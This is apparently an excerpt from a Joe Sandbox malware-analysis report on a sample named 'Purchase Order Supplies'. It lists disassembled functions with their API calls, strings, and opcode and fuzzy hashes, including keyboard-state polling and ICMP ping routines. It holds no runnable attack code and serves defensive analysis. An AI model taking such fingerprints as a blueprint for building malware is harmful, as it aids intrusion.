_wcscpy.LIBCMT ref: 00CD73F9
_wcscat.LIBCMT ref: 00CD7408
_wcscat.LIBCMT ref: 00CD745D
_wcscat.LIBCMT ref: 00CD7493
_wcscat.LIBCMT ref: 00CD74A5

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: 8d73edbc77d14679d1d88fca0cbd14743c16a15ee55b8fa696e1b32f754b9a79
Instruction ID: a7df740ed8c9674faeca3d0d7bd27b643b82e712d6bd7401dcacddfb854b5d72
Opcode Fuzzy Hash: 8d73edbc77d14679d1d88fca0cbd14743c16a15ee55b8fa696e1b32f754b9a79
Instruction Fuzzy Hash: 36411FB280416CAADB21EB50DC51EDE73BCAB08310F5441E7FA19A3151EB31ABD4DFA0

Function 00C984A6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00C984E5
__itow.LIBCMT ref: 00C98519

Part of subcall function 00CB2177: _xtow@16.LIBCMT ref: 00CB2198

Strings

%.15g, xrefs: 00C984DF
False, xrefs: 00D05568
0x%p, xrefs: 00D05582
True, xrefs: 00D05561

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: 0852375887fbafd2d251570d89efb2dd072fd8daca6affa4ab3620b1db0b02e1
Instruction ID: 5ed5df5ec9517e3b180257ff1e45a7e8265429329ff1be756d3da276d9e894c2
Opcode Fuzzy Hash: 0852375887fbafd2d251570d89efb2dd072fd8daca6affa4ab3620b1db0b02e1
Instruction Fuzzy Hash: 6F41F3716006059BEF24DF38EC45FAA73E9BF45300F24446AE94AD7196EA31DA45EB20

Function 00CB5C91 Relevance: 16.8, APIs: 11, Instructions: 257COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CB5CCA

Part of subcall function 00CB889E: __getptd_noexit.LIBCMT ref: 00CB889E

__gmtime64_s.LIBCMT ref: 00CB5D63
__gmtime64_s.LIBCMT ref: 00CB5D99
__gmtime64_s.LIBCMT ref: 00CB5DB6
__allrem.LIBCMT ref: 00CB5E0C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CB5E28
__allrem.LIBCMT ref: 00CB5E3F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CB5E5D
__allrem.LIBCMT ref: 00CB5E74
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CB5E92
__invoke_watson.LIBCMT ref: 00CB5F03

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction ID: 2bc45540cf5f28ce4bc9ec82a2b461ada273ed7b3db7c62daed1101d6c862e84
Opcode Fuzzy Hash: 44019df33dda40162e7ad5693cac5fdd13db5b94ac58de4e6029986730a9c23d
Instruction Fuzzy Hash: 4771F871E01B16ABE714AF78CC81BEAB7B9AF14724F144229F910E7681E774DF409B90

Function 00CD57FB Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CD5816
GetMenuItemInfoW.USER32(00D518F0,000000FF,00000000,00000030), ref: 00CD5877
SetMenuItemInfoW.USER32(00D518F0,00000004,00000000,00000030), ref: 00CD58AD
Sleep.KERNEL32(000001F4), ref: 00CD58BF
GetMenuItemCount.USER32(?), ref: 00CD5903
GetMenuItemID.USER32(?,00000000), ref: 00CD591F
GetMenuItemID.USER32(?,-00000001), ref: 00CD5949
GetMenuItemID.USER32(?,?), ref: 00CD598E
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00CD59D4
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CD59E8
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CD5A09

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 2c22effc3a83e69838c2050894f52c1556757b2f526fe40bba1d716c5fef2b3a
Instruction ID: 47e5509ea2bf8b3d84a4bc528a78dcdd03e0473e51d1da6d29650d2c6263d9fc
Opcode Fuzzy Hash: 2c22effc3a83e69838c2050894f52c1556757b2f526fe40bba1d716c5fef2b3a
Instruction Fuzzy Hash: C561AE70900759EFDB10CFA4C898EBE7BBAEB01318F14411AEA51E7391D731AE02DB20

Function 00CF9A23 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00CF9AA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00CF9AA8
GetWindowLongW.USER32(?,000000F0), ref: 00CF9ACC
_memset.LIBCMT ref: 00CF9ADD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00CF9AEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00CF9B67

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 8d37d1aea0bfc88f6b616c085c0add83889d4f34f60edd5df20ec2795160670b
Instruction ID: c1a9f32c52e7dd021f4ed9ea93c3614b5af20006ee40c64ae03bc6a702ffb50e
Opcode Fuzzy Hash: 8d37d1aea0bfc88f6b616c085c0add83889d4f34f60edd5df20ec2795160670b
Instruction Fuzzy Hash: DD612A75900208AFDB21DFA8CC81FEE7BB8EB09710F144159FA15E72A1D770AE45DB61

Function 00CD3569 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00CD3591
GetAsyncKeyState.USER32(000000A0), ref: 00CD3612
GetKeyState.USER32(000000A0), ref: 00CD362D
GetAsyncKeyState.USER32(000000A1), ref: 00CD3647
GetKeyState.USER32(000000A1), ref: 00CD365C
GetAsyncKeyState.USER32(00000011), ref: 00CD3674
GetKeyState.USER32(00000011), ref: 00CD3686
GetAsyncKeyState.USER32(00000012), ref: 00CD369E
GetKeyState.USER32(00000012), ref: 00CD36B0
GetAsyncKeyState.USER32(0000005B), ref: 00CD36C8
GetKeyState.USER32(0000005B), ref: 00CD36DA

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 2b67580bd95ad15c189a6659bc821691a0208f0150c77263af14532de6b1b767
Instruction ID: 47ad268e540b4d8ef8c84d48dc100817ba90c2dedf7f51e607ee8e6cbde48519
Opcode Fuzzy Hash: 2b67580bd95ad15c189a6659bc821691a0208f0150c77263af14532de6b1b767
Instruction Fuzzy Hash: 3E418260508BC97DFF319B6498143A5BEA17B12344F08805BE7D6563C2EBA4DBC9CB63

Function 00CCA28D Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00CCA2AA
SafeArrayAllocData.OLEAUT32(?), ref: 00CCA2F5
VariantInit.OLEAUT32(?), ref: 00CCA307
SafeArrayAccessData.OLEAUT32(?,?), ref: 00CCA327
VariantCopy.OLEAUT32(?,?), ref: 00CCA36A
SafeArrayUnaccessData.OLEAUT32(?), ref: 00CCA37E
VariantClear.OLEAUT32(?), ref: 00CCA393
SafeArrayDestroyData.OLEAUT32(?), ref: 00CCA3A0
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CCA3A9
VariantClear.OLEAUT32(?), ref: 00CCA3BB
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CCA3C6

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 8c493eecbeabaf2cec7861325dfcdc8c0ac20879f5453d60ce92e8a7d07cc94b
Instruction ID: cec201f961e6c6ded2c0d96b928649f50c2e6e60c3b4a67f09cd928340f10d0b
Opcode Fuzzy Hash: 8c493eecbeabaf2cec7861325dfcdc8c0ac20879f5453d60ce92e8a7d07cc94b
Instruction Fuzzy Hash: F8411B71900219ABDB01DFA4D888DDEBBB9FF48308F108069E555E7261DB34AA46DBA1

Function 00CEB250 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00C984A6: __swprintf.LIBCMT ref: 00C984E5
Part of subcall function 00C984A6: __itow.LIBCMT ref: 00C98519

CoInitialize.OLE32 ref: 00CEB298
CoUninitialize.COMBASE ref: 00CEB2A3
CoCreateInstance.COMBASE(?,00000000,00000017,00D1D8FC,?), ref: 00CEB303
IIDFromString.COMBASE(?,?), ref: 00CEB376
VariantInit.OLEAUT32(?), ref: 00CEB410
VariantClear.OLEAUT32(?), ref: 00CEB471

Strings

Failed to create object, xrefs: 00CEB30E, 00CEB3C4
NULL Pointer assignment, xrefs: 00CEB348
Invalid parameter, xrefs: 00CEB38F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 688084189d7acec1c052117e915260c2d5f1122e54db9111ac76af2fb621a78a
Instruction ID: 5e07280e3df99e63b627f5224d1c3a120ca7d94f4e08aa50de954413c55bc839
Opcode Fuzzy Hash: 688084189d7acec1c052117e915260c2d5f1122e54db9111ac76af2fb621a78a
Instruction Fuzzy Hash: D9619D71204341AFC710DF56C889B6FB7E8AF89714F10481DFA959B2A1DB70EE49CB92

Function 00CE8694 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101,?), ref: 00CE86F5
inet_addr.WS2_32(?), ref: 00CE873A
gethostbyname.WS2_32(?), ref: 00CE8746
IcmpCreateFile.IPHLPAPI ref: 00CE8754
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00CE87C4
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00CE87DA
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00CE884F
WSACleanup.WS2_32 ref: 00CE8855

Strings

Ping, xrefs: 00CE8778

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 2e7fe51a468303a0299886de695259f234d17842aca85a516f0ba2adaf0bd5e6
Instruction ID: a61d98c22e224eb4d31d5d18548c426335359933c22eaecb4aea905ed45e5bf1
Opcode Fuzzy Hash: 2e7fe51a468303a0299886de695259f234d17842aca85a516f0ba2adaf0bd5e6
Instruction Fuzzy Hash: 5F519231604341AFDB20DF26CD45B6A77E4AB48710F14892AF96AD72E1DF30E905DB51

Function 00CDEC11 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CDEC1E
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00CDEC94
GetLastError.KERNEL32 ref: 00CDEC9E
SetErrorMode.KERNEL32(00000000,READY), ref: 00CDED0B

Strings

INVALID, xrefs: 00CDECDD
READONLY, xrefs: 00CDECD6
NOTREADY, xrefs: 00CDECCA
READY, xrefs: 00CDECE4
UNKNOWN, xrefs: 00CDECC3

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 9509d0f2aef267467d98166aa7e40354c4f451d771bdc57d8249d6823e628ece
Instruction ID: c3298ba3898e571ee455096571cd657d5653d6cb325ddc97dc09b4952e350969
Opcode Fuzzy Hash: 9509d0f2aef267467d98166aa7e40354c4f451d771bdc57d8249d6823e628ece
Instruction Fuzzy Hash: 42319035A00205AFCB11EF68C989AAEB7B4EF84740F108066E615EB391DB719A42DB91

Function 00CCC6FD Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00CCC782
GetDlgCtrlID.USER32 ref: 00CCC78D
GetParent.USER32 ref: 00CCC7A9
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CCC7AC
GetDlgCtrlID.USER32(?), ref: 00CCC7B5
GetParent.USER32(?), ref: 00CCC7D1
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CCC7D4

Strings

ListBox, xrefs: 00CCC73F
ComboBox, xrefs: 00CCC707

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: cc95ea6fced384a730be49602f019e0adfea94973041627fed8e2c10be874318
Instruction ID: cff1e3d3ccc5b22e585a80544d77900d586165bfdd4ad04143c4aa5640e4e136
Opcode Fuzzy Hash: cc95ea6fced384a730be49602f019e0adfea94973041627fed8e2c10be874318
Instruction Fuzzy Hash: D2218E74900208BFDF05AB64CCC5EFEB7A6EB45310F144119F566D32E1DB785916AB20

Function 00CCC7E6 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00CCC869
GetDlgCtrlID.USER32 ref: 00CCC874
GetParent.USER32 ref: 00CCC890
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CCC893
GetDlgCtrlID.USER32(?), ref: 00CCC89C
GetParent.USER32(?), ref: 00CCC8B8
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CCC8BB

Strings

ListBox, xrefs: 00CCC828
ComboBox, xrefs: 00CCC7F0

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: ComboBox$ListBox
API String ID: 313823418-1403004172
Opcode ID: eb25be1988e8bbcc866ed9dd569c21a1be1c3779d24d9fc3dba59e959550002e
Instruction ID: 2dfa7c5f2ac672703bae366aea27aa2f11fd2050f14fab10e040f8b3b1e44c09
Opcode Fuzzy Hash: eb25be1988e8bbcc866ed9dd569c21a1be1c3779d24d9fc3dba59e959550002e
Instruction Fuzzy Hash: A721AF71A00208BFDF01ABA4CCC5EFEBB69EB45300F104015F515E32E1DB78991AAB20

Function 00CCC8CD Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00CCC8D9
GetClassNameW.USER32(00000000,?,00000100), ref: 00CCC8EE
_wcscmp.LIBCMT ref: 00CCC900
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00CCC97B

Strings

SHELLDLL_DefView, xrefs: 00CCC8FA
details, xrefs: 00CCC929
list, xrefs: 00CCC95D
smallicons, xrefs: 00CCC943
largeicons, xrefs: 00CCC90F

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: df0f307625de905692d09df902bb4e5b3ef1e7389a5ffc2c2e8ecc41d8dda54a
Instruction ID: 3608fe2dcac00def7bff6be79cbeef2b6acb926a6a1b117d659716f2534df2cc
Opcode Fuzzy Hash: df0f307625de905692d09df902bb4e5b3ef1e7389a5ffc2c2e8ecc41d8dda54a
Instruction Fuzzy Hash: 0411E976648306BFFA052A30EC4AEF677ACDF06764F20001AF918E50D6FF7169125564

Function 00CDB05A Relevance: 15.3, APIs: 10, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 00CDB137

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 1a1394b4db236931fc3401ae61adcdb3ad1d2dcc515b2a215838ff3ecd6de245
Instruction ID: 5cab34179fedf7233fe95caaca0ab6ba44108659e39821ef1bf849b3a527590b
Opcode Fuzzy Hash: 1a1394b4db236931fc3401ae61adcdb3ad1d2dcc515b2a215838ff3ecd6de245
Instruction Fuzzy Hash: 69C17AB5A0121ADFDB04DF98C485BAEB7F4EF08315F21406AE615E7391DB34AE81DB90

Function 00CBBA66 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00CBBA74

Part of subcall function 00CB8984: __mtinitlocknum.LIBCMT ref: 00CB8996
Part of subcall function 00CB8984: RtlEnterCriticalSection.NTDLL(00CB0127), ref: 00CB89AF

__calloc_crt.LIBCMT ref: 00CBBA85

Part of subcall function 00CB7616: __calloc_impl.LIBCMT ref: 00CB7625
Part of subcall function 00CB7616: Sleep.KERNEL32(00000000,?,00CB0127,?,00C9125D,00000058,?,?), ref: 00CB763C

@_EH4_CallFilterFunc@8.LIBCMT ref: 00CBBAA0
GetStartupInfoW.KERNEL32(?,00D46990,00000064,00CB6B14,00D467D8,00000014), ref: 00CBBAF9
__calloc_crt.LIBCMT ref: 00CBBB44
GetFileType.KERNEL32(00000001), ref: 00CBBB8B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00CBBBC4

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
